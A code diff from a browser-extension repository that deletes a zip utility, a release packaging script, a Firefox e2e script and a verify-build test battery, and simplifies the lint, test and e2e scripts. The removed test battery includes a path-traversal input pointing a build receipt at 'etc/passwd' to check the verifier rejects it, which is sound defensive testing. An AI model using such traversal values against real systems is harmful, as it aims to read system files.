-        locals.push(local, body);
-        centrals.push(central);
-        offset += local.length + body.length;
-    }
-
-    const centralBuf = Buffer.concat(centrals);
-    const eocd = Buffer.alloc(22);
-    eocd.writeUInt32LE(EOCD_SIG, 0);
-    eocd.writeUInt16LE(0, 4);
-    eocd.writeUInt16LE(0, 6);
-    eocd.writeUInt16LE(sorted.length, 8);
-    eocd.writeUInt16LE(sorted.length, 10);
-    eocd.writeUInt32LE(centralBuf.length, 12);
-    eocd.writeUInt32LE(offset, 16);
-    eocd.writeUInt16LE(0, 20);
-
-    return Buffer.concat([...locals, centralBuf, eocd]);
-}
-
-// Read an archive back into [{ name, data }], from the central directory
-// rather than by scanning for local headers: the central directory is the
-// authoritative index, and a member reachable only by scanning is one a real
-// unzipper would not extract.
-//
-// Every member's CRC is checked. The point of reading an archive back is to
-// establish that it holds what it was meant to hold, so a member that does not
-// decompress to its recorded checksum is a failure and never a warning.
-function readZip(buf) {
-    if (buf.length < 22) {
-        throw new Error("zip: too short to be an archive");
-    }
-    // No archive this writes has a trailing comment, so the EOCD is the last
-    // 22 bytes. Anything else is not an archive this produced.
-    const eocdAt = buf.length - 22;
-    if (buf.readUInt32LE(eocdAt) !== EOCD_SIG) {
-        throw new Error(
-            "zip: no end-of-central-directory record at the end of the " +
-                "archive (a trailing comment, or not a zip at all)",
-        );
-    }
-    const count = buf.readUInt16LE(eocdAt + 10);
-    const centralSize = buf.readUInt32LE(eocdAt + 12);
-    let at = buf.readUInt32LE(eocdAt + 16);
-    if (at + centralSize > eocdAt) {
-        throw new Error("zip: central directory runs past the archive");
-    }
-
-    const out = [];
-    for (let i = 0; i < count; i++) {
-        if (buf.readUInt32LE(at) !== CENTRAL_SIG) {
-            throw new Error(`zip: bad central directory entry ${i}`);
-        }
-        const method = buf.readUInt16LE(at + 10);
-        const crc = buf.readUInt32LE(at + 16);
-        const compSize = buf.readUInt32LE(at + 20);
-        const rawSize = buf.readUInt32LE(at + 24);
-        const nameLen = buf.readUInt16LE(at + 28);
-        const extraLen = buf.readUInt16LE(at + 30);
-        const commentLen = buf.readUInt16LE(at + 32);
-        const localAt = buf.readUInt32LE(at + 42);
-        const name = buf.toString("ascii", at + 46, at + 46 + nameLen);
-        at += 46 + nameLen + extraLen + commentLen;
-
-        if (buf.readUInt32LE(localAt) !== LOCAL_SIG) {
-            throw new Error(`zip: ${name} has no local header`);
-        }
-        // The local header's own name and extra lengths, not the central
-        // directory's: the two are allowed to differ and the data starts after
-        // the local ones.
-        const localNameLen = buf.readUInt16LE(localAt + 26);
-        const localExtraLen = buf.readUInt16LE(localAt + 28);
-        const dataAt = localAt + 30 + localNameLen + localExtraLen;
-        const body = buf.subarray(dataAt, dataAt + compSize);
-
-        let data;
-        if (method === METHOD_STORE) {
-            data = Buffer.from(body);
-        } else if (method === METHOD_DEFLATE) {
-            data = zlib.inflateRawSync(body);
-        } else {
-            throw new Error(`zip: ${name} uses compression method ${method}`);
-        }
-
-        if (data.length !== rawSize) {
-            throw new Error(
-                `zip: ${name} decompressed to ${data.length} bytes, not the ` +
-                    `recorded ${rawSize}`,
-            );
-        }
-        if (crc32(data) !== crc) {
-            throw new Error(`zip: ${name} fails its recorded CRC32`);
-        }
-        out.push({ name, data });
-    }
-    return out;
-}
-
-module.exports = { crc32, readZip, writeZip };

script/lint

@@ -1,51 +1,13 @@
 #!/bin/sh
-# script/lint: run the linter (eslint, then prettier --check).
-#
-# Linting is containerized. ESLint results depend on the ESLint version, and
-# the pinned one is the one in the image; a host's own install must not be
-# able to decide whether this repo is green. From a host this therefore builds
-# the Dockerfile's `lint` stage, which runs this same script inside the image.
-#
-# AUTISTMASK_LINT_NATIVE is set only in that image (see the Dockerfile) and is
-# what stops the recursion, so `make check` inside the CI build lints in place
-# instead of trying to reach a docker daemon it does not have.
+# script/lint: run the linter.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 
 main() {
     cd "$ROOT"
-
-    case "${AUTISTMASK_LINT_NATIVE:-}" in
-    1)
-        echo "Linting..."
-        yarn run lint 2>&1
-        return 0
-        ;;
-    "") ;;
-    *)
-        # Set but not recognized: say so rather than silently taking the
-        # docker path, which would look like the variable had no effect.
-        echo "lint: AUTISTMASK_LINT_NATIVE is set to" \
-            "'${AUTISTMASK_LINT_NATIVE}'; the only recognized value is 1" >&2
-        exit 1
-        ;;
-    esac
-
-    if ! command -v docker >/dev/null 2>&1; then
-        echo "lint: docker is required; linting does not run on the host" >&2
-        exit 1
-    fi
-
-    echo "Linting in the pinned container..."
-    # --progress=plain: the default progress renderer collapses the lint
-    # output on success, and a lint run whose output cannot be seen is not
-    # evidence that it ran.
-    #
-    # --output=type=cacheonly: the exit status is the whole result; exporting
-    # an image afterwards costs about ten times the lint itself.
-    docker build --progress=plain --target lint \
-        --output=type=cacheonly . 2>&1
+    echo "Linting..."
+    yarn run lint 2>&1
 }
 
 main "$@"

script/package

@@ -1,38 +0,0 @@
-#!/bin/sh
-# script/package: produce the release artifacts — one self-contained,
-# versioned archive per browser — into release/. Our own extension to
-# scripts-to-rule-them-all.
-#
-# It builds first, through `make build` rather than by calling build.js
-# itself. That target is the only audited path to a release build: it creates
-# the build receipt outside the repo, scrubs AUTISTMASK_DEBUG from the
-# verifier's environment, tells script/verify-build in so many words to expect
-# a RELEASE build, and re-runs script/check-censored against dist/.
-# script/test-verify-build asserts that wiring by reading the recipe back out
-# of `make -n`. Re-implementing that sequence here would give the release
-# artifacts a second, unaudited path to dist/ — and it is the release
-# artifacts, above everything else, that must never be built from a debug
-# compile.
-#
-# This packages, it does not publish. Tagging, CRX packing and any upload are
-# outward-facing acts and are nobody's job but the owner's.
-set -eu
-
-ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
-
-main() {
-    cd "$ROOT"
-
-    if ! command -v make >/dev/null 2>&1; then
-        echo "package: make is required (the release build runs through" \
-            "make build)" >&2
-        exit 1
-    fi
-
-    make build
-
-    echo "Packaging release artifacts..."
-    node script/lib/package.js
-}
-
-main "$@"

script/test

@@ -1,49 +1,13 @@
 #!/bin/sh
 # script/test: run the test suite.
-#
-# The timeout bounds a hung suite; it is not a performance budget. On a
-# developer host the suite finishes in about 8s and REPO_POLICIES' 30s cap is
-# the bound. Inside the image the same suite also pays a cold jest cache and
-# shares the runner with the rest of the build, which is not what that budget
-# describes, so the Dockerfile raises the bound through
-# AUTISTMASK_TEST_TIMEOUT. A cap a healthy suite can trip on a cold cache
-# produces a red that means nothing, and teaches "just run it again".
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
-TIMEOUT="${AUTISTMASK_TEST_TIMEOUT:-30}"
 
 main() {
     cd "$ROOT"
-    echo "Running tests (timeout ${TIMEOUT}s)..."
-
-    status=0
-    timeout "$TIMEOUT" yarn run test 2>&1 || status=$?
-    [ "$status" -eq 0 ] && return 0
-
-    # 124 is timeout(1) killing the suite. Say so: a kill is not a failed
-    # assertion, and the verbose rerun would only spend the same wall clock
-    # to be killed again.
-    if [ "$status" -eq 124 ]; then
-        echo "tests: TIMED OUT after ${TIMEOUT}s (no assertion failed)" >&2
-        echo "tests: raise AUTISTMASK_TEST_TIMEOUT if the suite is healthy" >&2
-        exit 1
-    fi
-
-    # 125 is timeout(1) itself failing, which here means AUTISTMASK_TEST_TIMEOUT
-    # is not a duration it accepts. The suite never ran, so it neither timed out
-    # nor failed, and the verbose rerun would only reprint the same complaint.
-    if [ "$status" -eq 125 ]; then
-        echo "tests: DID NOT RUN: timeout(1) rejected AUTISTMASK_TEST_TIMEOUT=\"${TIMEOUT}\"" >&2
-        echo "tests: set it to a duration such as 30 or 180 (see timeout(1))" >&2
-        exit 1
-    fi
-
-    echo "--- Rerunning with --verbose for details ---"
-    timeout "$TIMEOUT" yarn run test:verbose 2>&1 || true
-    # Always fail: the first run already proved the tests are broken, so a
-    # flaky pass on the rerun must not turn the build green.
-    exit 1
+    echo "Running tests..."
+    timeout 30 yarn run test 2>&1
 }
 
 main "$@"

script/test-e2e

@@ -5,32 +5,19 @@
 #
 # Deliberately NOT called by script/check or script/test: REPO_POLICIES.md
 # caps make test at 20 seconds and a browser suite does not fit. Run it
-# yourself before touching popup views. ESLint's no-undef now catches a
-# used-but-not-imported identifier in make check, but only this suite sees
-# what a view actually does when it runs.
-# .gitea/workflows/e2e.yml also runs it on every push, in a job separate
-# from check so that cap and the local fast path both stay intact.
-#
-# Docker is the only prerequisite. The repo reaches the container as a
-# build context and the extension is built inside it (see
-# tests/e2e/Dockerfile), so nothing here depends on the node, yarn or make
-# on the machine that starts the run. That is not a convenience: a bind
-# mount cannot work under Gitea Actions, and the runner image's node is too
-# old to install this repo's dependencies.
+# yourself before touching popup views; it is the only check that can see
+# a used-but-not-imported identifier blow up at runtime.
 set -eu
 
-SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
-ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
+ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 
-IMAGE="$("$SCRIPT_DIR/projectname")-e2e-chrome"
-
-IIDFILE=""
-
-cleanup() {
-    if [ -n "$IIDFILE" ]; then
-        rm -f "$IIDFILE"
-    fi
-}
+# mcr.microsoft.com/playwright:v1.56.0-noble, 2026-08-09
+#
+# The playwright-core devDependency is pinned to the matching Playwright
+# version (1.56.0) and the two must be bumped together: the browsers ship
+# inside this image, and playwright-core looks for the exact browser
+# revision its own version expects. A mismatch fails at launch.
+IMAGE="mcr.microsoft.com/playwright@sha256:35246d87a7c88ea9b771c65d33171b2611b02a8253b4b12ce6f94376c55f99f2"
 
 main() {
     cd "$ROOT"
@@ -40,31 +27,22 @@ main() {
         exit 1
     fi
 
-    IIDFILE="$(mktemp)"
-    trap cleanup EXIT
-    trap 'cleanup; exit 130' INT TERM
-
-    echo "Building the Chrome e2e image (extension included)..."
-    docker build --iidfile "$IIDFILE" -t "$IMAGE" -f tests/e2e/Dockerfile .
+    echo "Building extension for e2e..."
+    yarn run build 2>&1
 
     echo "Running e2e suite in the pinned Playwright container..."
-    # The image is run by ID, not by tag: where two clones of this repo run
-    # the suite at once, the other build can move the tag between this
-    # build and this run, and the suite would then silently test the other
-    # checkout.
-    #
     # --ipc=host: Chromium's shared-memory needs more than the default
     #   64MB /dev/shm or renderers crash.
-    # HOME=/tmp: the image's root home is not a reliable place for the
-    #   browser profile.
+    # --user: keep files the suite touches owned by the caller, not root.
+    # HOME=/tmp: the mapped uid has no home directory in the image.
     # PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1: without it,
     #   ctx.route() intercepts page requests only, and every fetch made by
-    #   the MV3 background service worker — the JSON-RPC calls behind
-    #   every approval the suite drives among them — goes to the real
-    #   internet. The flag is experimental and Playwright may drop or
-    #   rename it. It cannot break silently: the harness asks the worker
-    #   for one request of its own at launch and aborts the whole suite
-    #   if it does not reach the route handler (see the interception
+    #   the MV3 background service worker — including the phishing
+    #   blocklist fetch that src/background/index.js issues at worker
+    #   startup — goes to the real internet. The flag is experimental and
+    #   Playwright may drop or rename it. It cannot break silently: the
+    #   harness probes service-worker interception at launch and aborts
+    #   the whole suite if it is not in effect (see the interception
     #   canary in tests/e2e/harness.js). If a future Playwright removes
     #   the flag, that probe is what will fail, and the fix is either a
     #   replacement mechanism or an honest downgrade of the isolation
@@ -73,27 +51,14 @@ main() {
     #   on a deliberate bump.
     docker run --rm \
         --ipc=host \
+        --user "$(id -u):$(id -g)" \
         -e HOME=/tmp \
         -e PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1 \
         -e "E2E_TRACE_NETWORK=${E2E_TRACE_NETWORK:-0}" \
-        "$(cat "$IIDFILE")" \
+        -v "$ROOT:/work" \
+        -w /work \
+        "$IMAGE" \
         node tests/e2e/run.js
-
-    # Where chrome.storage.local lives, and what moves it: two unpacked loads
-    # from two different paths in one profile, with the shipped manifest and
-    # again with `key` stripped out. Its own browser sessions — four of them —
-    # because the whole subject is what happens ACROSS loads, which the suite
-    # above cannot express with one.
-    #
-    # No PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS here: this drives no
-    # RPC and installs no route handlers, and the browser is started with
-    # --host-resolver-rules=MAP * ~NOTFOUND so nothing it does can leave.
-    echo "Running the extension-id and storage-partition observations..."
-    docker run --rm \
-        --ipc=host \
-        -e HOME=/tmp \
-        "$(cat "$IIDFILE")" \
-        node tests/e2e/storagePartition.js
 }
 
 main "$@"

script/test-e2e-firefox

@@ -1,90 +0,0 @@
-#!/bin/sh
-# script/test-e2e-firefox: build the extension and drive the real popup in
-# a real Firefox inside a pinned container. The Firefox counterpart to
-# script/test-e2e. Our own extension to scripts-to-rule-them-all.
-#
-# Deliberately NOT called by script/check or script/test, for the same
-# reason as the Chrome suite: REPO_POLICIES.md caps make test at 20 seconds
-# and a browser suite does not fit. .gitea/workflows/e2e.yml also runs it
-# on every push, in a job separate from check.
-#
-# Unlike script/test-e2e this builds its base image locally, because no
-# published image carries both a pinned Firefox and a matching geckodriver.
-# All three external artifacts are pinned by digest inside the Dockerfile;
-# see tests/e2e/firefox/Dockerfile, which also explains why the repo and
-# the extension build are baked into the image rather than mounted.
-#
-# Docker is the only prerequisite: nothing here depends on the node, yarn
-# or make on the machine that starts the run.
-set -eu
-
-SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
-ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
-
-IMAGE="$("$SCRIPT_DIR/projectname")-e2e-firefox"
-
-IIDFILE=""
-
-cleanup() {
-    if [ -n "$IIDFILE" ]; then
-        rm -f "$IIDFILE"
-    fi
-}
-
-main() {
-    cd "$ROOT"
-
-    if ! command -v docker >/dev/null 2>&1; then
-        echo "test-e2e-firefox: docker is required to run the e2e suite" >&2
-        exit 1
-    fi
-
-    IIDFILE="$(mktemp)"
-    trap cleanup EXIT
-    trap 'cleanup; exit 130' INT TERM
-
-    echo "Building the pinned Firefox e2e image (extension included)..."
-    docker build --iidfile "$IIDFILE" -t "$IMAGE" \
-        -f tests/e2e/firefox/Dockerfile .
-
-    echo "Running the Firefox e2e suite..."
-    # The image is run by ID, not by tag: where two clones of this repo run
-    # the suite at once, the other build can move the tag between this
-    # build and this run, and the suite would then silently test the other
-    # checkout.
-    #
-    # --shm-size=1g: Firefox needs more than the default 64MB /dev/shm.
-    # --network none: the suite stubs nothing, so this is what keeps the
-    #   run offline and deterministic. The extension swallows its own
-    #   fetch failures, so the popup flows work unchanged; see the
-    #   network note in README.md. Weaker than the Chrome suite's
-    #   fixture interception, and honestly so — it proves no request
-    #   escaped, but it cannot report which ones were attempted.
-    # HOME=/tmp: the image's root home is not a reliable place for the
-    #   browser profile.
-    #
-    # No --privileged. Firefox's sandbox logs
-    # "CanCreateUserNamespace() clone() failure: EPERM" on startup here;
-    # it is cosmetic and headless Firefox runs fine without it.
-    docker run --rm \
-        --shm-size=1g \
-        --network none \
-        -e HOME=/tmp \
-        "$(cat "$IIDFILE")" \
-        node tests/e2e/firefox/run.js dist/firefox
-
-    # The install/uninstall/re-install property, against the packaged XPI
-    # rather than the unpacked directory: it is the artifact a user would be
-    # handed, and this is the only place a real Firefox is asked to load it.
-    # Its own browser session, because it takes the add-on away in the middle
-    # and the suite above shares one session throughout.
-    echo "Running the Firefox re-install suite against the packaged XPI..."
-    docker run --rm \
-        --shm-size=1g \
-        --network none \
-        -e HOME=/tmp \
-        "$(cat "$IIDFILE")" \
-        node tests/e2e/firefox/reinstall.js
-}
-
-main "$@"

script/test-verify-build

@@ -1,955 +0,0 @@
-#!/bin/sh
-# script/test-verify-build: exercise every failure mode of
-# script/verify-build, and what make build does with dist/ after one of them
-# (script/discard-dist-on-failure). Our own extension to
-# scripts-to-rule-them-all, run from script/check so make check covers it.
-#
-# Why this exists: verify-build is the build-integrity guard, and four separate
-# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
-# the discarded find status, the line-delimited walk, and then the two the
-# receipt replaced: an expectation read out of the verifier's own environment,
-# and a file list read back out of the tree it was supposed to vouch for. Every
-# one was caught by someone building a tree by hand, because nothing in make
-# check could catch it. This is that hand battery, committed and automated.
-#
-# Each case asserts the exit status AND a substring of the message. A guard
-# that fails for the wrong reason (right status, different fault) is itself a
-# defect, so matching the status alone would not be a test of anything.
-#
-# The fixture is a temp tree containing script/verify-build as a SYMLINK to
-# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
-# operates on the fixture's dist/ and never reads or writes the repo's build
-# output. The symlink rather than a copy is what makes a deliberate break in
-# the real script fail here. The fixture's receipt is written from the bytes
-# the fixture actually holds, exactly as a build writes one from the bytes it
-# emitted; a case that means "the build emitted this" regenerates it, and a
-# case that means "something changed dist/ afterwards" does not.
-#
-# The sha256 command is selected here independently of the one verify-build
-# picks. That is deliberate: a harness that reused the implementation's helper
-# would agree with it even when it is wrong.
-set -eu
-
-ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
-VERIFY_BUILD="$ROOT/script/verify-build"
-DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
-
-MARKER_ON="autistmask-build-debug=on"
-MARKER_OFF="autistmask-build-debug=off"
-
-RECEIPT_HEADER="autistmask-build-receipt v1"
-
-NEWLINE='
-'
-
-PASSED=0
-FAILED=0
-SKIPPED=0
-SKIPPED_NAMES=""
-
-# The command prefix that runs the permission-dependent cases as a user who
-# is actually subject to file permissions, and whether those cases can run at
-# all. Both are decided by probe_permission_runner, never assumed.
-UNPRIV=""
-PERM_ENABLED=no
-PERM_HOW=""
-
-# The sha256 command, chosen by pick_sha256_tool.
-SHA256_CMD=""
-
-WORK=""
-
-cleanup() {
-    [ -n "$WORK" ] || return 0
-    # The cases chmod 000 files and directories on purpose.
-    chmod -R u+rwX "$WORK" 2>/dev/null || true
-    rm -rf "$WORK"
-}
-trap cleanup EXIT INT TERM
-
-WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
-FIXTURE="$WORK/fixture"
-
-# The build receipt for the fixture, kept outside the fixture's dist/ — and
-# outside the fixture altogether — because that is where a real one lives.
-RECEIPT="$WORK/receipt"
-
-# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
-# our work dir keeps the run leaving no residue, and keeps it writable for the
-# unprivileged user the permission cases run as.
-TMPDIR="$WORK/tmp"
-export TMPDIR
-mkdir -p "$TMPDIR"
-chmod 1777 "$TMPDIR"
-chmod 755 "$WORK"
-
-# --- fixture ---------------------------------------------------------------
-
-# The emitted tree a build of this repo produces in miniature: audited bundles
-# (A) that must carry a marker, and plain emitted files (P) that must not —
-# including the content script, which runs on every page, and the manifest,
-# neither of which the pre-receipt verifier read at all.
-FIXTURE_FILES="A dist/chrome/src/popup/index.js
-A dist/firefox/src/popup/index.js
-P dist/chrome/src/content/index.js
-P dist/chrome/manifest.json
-P dist/styles.css"
-
-FIXTURE_REAL=""
-
-# A stand-in for an emitted bundle: some text plus one marker literal, which
-# is all verify-build reads out of the real thing beyond its digest.
-write_bundle() {
-    printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
-}
-
-# Digest of $1, taken with the harness's own sha256 command.
-fixture_sha256() {
-    # Word-split on purpose: SHA256_CMD is a command with its arguments.
-    # shellcheck disable=SC2086
-    _fs_out="$($SHA256_CMD "$1")"
-    printf '%s' "${_fs_out%% *}"
-}
-
-# Write the fixture's receipt, with a substitutable header and root line so the
-# cases can hand verify-build a receipt that is not one.
-write_receipt_custom() {
-    _wrc_header="$1"
-    _wrc_root="$2"
-
-    chmod u+rw "$RECEIPT" 2>/dev/null || true
-    rm -f "$RECEIPT"
-
-    (
-        cd "$FIXTURE"
-        printf '%s\n' "$_wrc_header"
-        printf 'root %s\n' "$_wrc_root"
-        _saved_ifs="$IFS"
-        IFS="$NEWLINE"
-        for _entry in $FIXTURE_FILES; do
-            IFS="$_saved_ifs"
-            _flag="${_entry%% *}"
-            _path="${_entry#* }"
-            printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
-                "$_flag" "$_path"
-            IFS="$NEWLINE"
-        done
-        IFS="$_saved_ifs"
-    ) >"$RECEIPT"
-
-    # Readable by the unprivileged user the permission cases run as, whatever
-    # umask this process has, until a case takes that away on purpose.
-    chmod 644 "$RECEIPT"
-}
-
-write_receipt() {
-    write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
-}
-
-build_fixture() {
-    chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
-    rm -rf "$FIXTURE"
-
-    mkdir -p "$FIXTURE/script"
-    ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
-    ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
-
-    mkdir -p "$FIXTURE/dist/chrome/src/popup" \
-        "$FIXTURE/dist/chrome/src/content" \
-        "$FIXTURE/dist/firefox/src/popup"
-
-    write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
-    write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
-    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
-    printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
-    printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
-
-    FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
-    write_receipt
-
-    # Readable and traversable by the unprivileged user the permission cases
-    # run as, before those cases take that away again on purpose.
-    chmod -R a+rX "$FIXTURE"
-}
-
-# --- permission runner ------------------------------------------------------
-
-# Run a command through the current unprivileged runner. Unquoted on purpose:
-# UNPRIV is a command prefix that has to word-split.
-run_unpriv() {
-    # shellcheck disable=SC2086
-    $UNPRIV "$@"
-}
-
-# Decide whether the permission-dependent cases can run, and prove it rather
-# than assuming it.
-#
-# The problem: the CI image declares no USER, so CI runs as root, and root is
-# not subject to file permissions — chmod 000 stops neither find nor grep. A
-# permission case run as root passes vacuously, which is worse than no case at
-# all because it reads as coverage.
-#
-# So the runner is validated with two probes before any permission case is
-# counted:
-#
-#   - a mode-644 file MUST be readable through it. If not, the runner itself
-#     is broken (missing helper, no such user, sandbox), and every case run
-#     through it would fail for the wrong reason.
-#   - a mode-000 file MUST NOT be readable through it. If it is, permissions
-#     are not in force and the cases would pass without proving anything.
-#
-# Unprivileged: the runner is empty and both probes are about this process,
-# which is the honest answer. Root: setpriv and runuser are tried, both
-# present in the pinned CI base image. Only when no candidate passes both
-# probes are the cases skipped, and a skipped run says so unmistakably.
-probe_permission_runner() {
-    _probe="$WORK/probe"
-    mkdir -p "$_probe"
-    printf 'readable\n' >"$_probe/public"
-    printf 'secret\n' >"$_probe/private"
-    chmod 755 "$_probe"
-    chmod 644 "$_probe/public"
-    chmod 000 "$_probe/private"
-
-    if [ "$(id -u)" -eq 0 ]; then
-        _candidates="setpriv|setpriv --reuid=65534 --regid=65534 --clear-groups --
-runuser|runuser -u nobody --"
-    else
-        _candidates="direct|"
-    fi
-
-    _tried=""
-    _saved_ifs="$IFS"
-    IFS="$NEWLINE"
-    for _line in $_candidates; do
-        IFS="$_saved_ifs"
-        _label="${_line%%|*}"
-        _cmd="${_line#*|}"
-        _tried="${_tried:+$_tried, }$_label"
-
-        if [ -n "$_cmd" ]; then
-            _bin="${_cmd%% *}"
-            command -v "$_bin" >/dev/null 2>&1 || continue
-        fi
-
-        UNPRIV="$_cmd"
-        # Broken or unusable runner: the cases would fail for the wrong
-        # reason. Reaching the script under test is part of usable.
-        run_unpriv cat "$_probe/public" >/dev/null 2>&1 || continue
-        run_unpriv cat "$VERIFY_BUILD" >/dev/null 2>&1 || continue
-        # Permissions not in force through this runner: the cases would pass
-        # without testing anything.
-        if run_unpriv cat "$_probe/private" >/dev/null 2>&1; then
-            continue
-        fi
-
-        PERM_ENABLED=yes
-        PERM_HOW="$_label"
-        IFS="$_saved_ifs"
-        return 0
-    done
-    IFS="$_saved_ifs"
-
-    UNPRIV=""
-    PERM_ENABLED=no
-    PERM_HOW="$_tried"
-}
-
-# --- case runner ------------------------------------------------------------
-
-# How verify-build is invoked for a case. The arguments are literal here rather
-# than assembled from a string, so nothing about a case's invocation depends on
-# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
-# verifier ignores it — that is the whole of the ambient-environment defect.
-run_verify() {
-    _rv_variant="$1"
-    _rv_perm="$2"
-    _rv_bin="$FIXTURE/script/verify-build"
-
-    case "$_rv_variant" in
-    release | release-envdebug)
-        set -- --expect release --receipt "$RECEIPT"
-        ;;
-    debug)
-        set -- --expect debug --receipt "$RECEIPT"
-        ;;
-    no-expect)
-        set -- --receipt "$RECEIPT"
-        ;;
-    no-receipt)
-        set -- --expect release
-        ;;
-    bad-expect)
-        set -- --expect maybe --receipt "$RECEIPT"
-        ;;
-    unknown-arg)
-        set -- --expect release --receipt "$RECEIPT" --force
-        ;;
-    receipt-in-dist)
-        set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
-        ;;
-    *)
-        echo "test-verify-build: unknown variant $_rv_variant" >&2
-        exit 1
-        ;;
-    esac
-
-    if [ "$_rv_perm" = yes ]; then
-        run_unpriv "$_rv_bin" "$@"
-    else
-        "$_rv_bin" "$@"
-    fi
-}
-
-# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
-#
-# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
-# requires both the exit status and the message. <perm> marks a case that only
-# means anything when file permissions are in force.
-check_case() {
-    _name="$1"
-    _perm="$2"
-    _variant="$3"
-    _want_status="$4"
-    _want_text="$5"
-    _setup="$6"
-
-    if [ "$_perm" = yes ] && [ "$PERM_ENABLED" != yes ]; then
-        SKIPPED=$((SKIPPED + 1))
-        SKIPPED_NAMES="$SKIPPED_NAMES##   - $_name$NEWLINE"
-        echo "  SKIP (permissions not in force): $_name"
-        return 0
-    fi
-
-    build_fixture
-    if ! (cd "$FIXTURE" && "$_setup") >/dev/null 2>&1; then
-        FAILED=$((FAILED + 1))
-        echo "  FAIL: $_name"
-        echo "    the case's own setup failed, so nothing was tested."
-        return 0
-    fi
-
-    # Exported rather than set as a command prefix: run_verify may go through
-    # run_unpriv, which is a function, and an assignment prefixed to a function
-    # call is not portable. Every other case unsets it, so the environment this
-    # harness happens to run in cannot decide anything.
-    case "$_variant" in
-    *envdebug)
-        AUTISTMASK_DEBUG=1
-        export AUTISTMASK_DEBUG
-        ;;
-    *)
-        unset AUTISTMASK_DEBUG || true
-        ;;
-    esac
-
-    _status=0
-    _out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
-
-    _ok=yes
-    _why=""
-
-    if [ "$_status" -ne "$_want_status" ]; then
-        _ok=no
-        _why="exit status $_status, wanted $_want_status"
-    fi
-
-    # Same discipline verify-build itself applies to grep: 0 and 1 are
-    # answers, anything else is not, and must not be read as "no match".
-    _g=0
-    printf '%s\n' "$_out" | grep -q -F -e "$_want_text" || _g=$?
-    case "$_g" in
-    0) ;;
-    1)
-        _ok=no
-        _why="${_why:+$_why; }message did not contain: $_want_text"
-        ;;
-    *)
-        _ok=no
-        _why="${_why:+$_why; }grep exited $_g matching the message, so the
-      message was never checked"
-        ;;
-    esac
-
-    if [ "$_ok" = yes ]; then
-        PASSED=$((PASSED + 1))
-        echo "  ok: $_name"
-        return 0
-    fi
-
-    FAILED=$((FAILED + 1))
-    echo "  FAIL: $_name"
-    echo "    $_why"
-    echo "    --- verify-build output ---"
-    printf '%s\n' "$_out" | sed 's/^/    /'
-    echo "    --- end output ---"
-}
-
-# --- cases ------------------------------------------------------------------
-#
-# Each runs with the fixture as its working directory. A case that regenerates
-# the receipt is saying "this is what the build emitted"; one that does not is
-# saying "the build emitted something else and this happened afterwards".
-
-c_control() { :; }
-
-c_trailing_space() {
-    cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js "
-}
-
-c_embedded_newline() {
-    cp dist/chrome/src/popup/index.js "dist/chrome/src/popup/index.js$NEWLINE"
-}
-
-c_dist_symlink() {
-    mv dist dist.real
-    ln -s dist.real dist
-}
-
-c_unwalkable_subtree() { chmod 000 dist/chrome/src/content; }
-
-c_dangling_symlink() {
-    ln -s /nonexistent-target-for-test-verify-build dist/chrome/dangling.js
-}
-
-c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
-
-c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
-
-c_receipt_missing() { rm "$RECEIPT"; }
-
-c_receipt_empty() { : >"$RECEIPT"; }
-
-c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
-
-c_receipt_bad_header() {
-    write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
-}
-
-c_receipt_other_tree() {
-    write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
-}
-
-c_receipt_path_with_space() {
-    write_receipt
-    printf 'file %s P dist/two words.js\n' \
-        "0000000000000000000000000000000000000000000000000000000000000000" \
-        >>"$RECEIPT"
-}
-
-c_receipt_path_outside_dist() {
-    write_receipt
-    printf 'file %s P etc/passwd\n' \
-        "0000000000000000000000000000000000000000000000000000000000000000" \
-        >>"$RECEIPT"
-}
-
-c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
-
-c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
-
-c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
-
-c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
-
-c_extra_file_with_marker() {
-    cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
-}
-
-c_extra_file_no_marker() {
-    printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
-}
-
-# The four demonstrated bypasses of the pre-receipt verifier.
-
